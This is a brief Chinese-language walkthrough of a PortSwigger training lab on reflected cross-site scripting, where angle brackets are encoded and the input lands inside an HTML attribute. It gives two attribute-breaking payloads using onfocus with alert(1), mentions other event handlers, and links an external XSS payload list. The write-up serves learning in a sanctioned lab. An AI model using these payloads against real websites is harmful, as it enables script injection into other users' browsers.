burpsuite靶场----XSS----反射型2----过滤尖括号

靶场地址

https://portswigger.net/web-security/cross-site-scripting/contexts/lab-attribute-angle-brackets-html-encoded

XSS字典

链接：https://pan.baidu.com/s/1XAJbEc4o824zAAmvV85TOA
提取码：1234

正式开始

1.经过模糊测试,发现过滤了尖括号
2.再查看源码,发现是input标签

3.使用payload,除了onfocus还可以使用on的其他事件,比如onmouseover等等
a" onfocus=alert(1)//
a" onfocus="alert(1)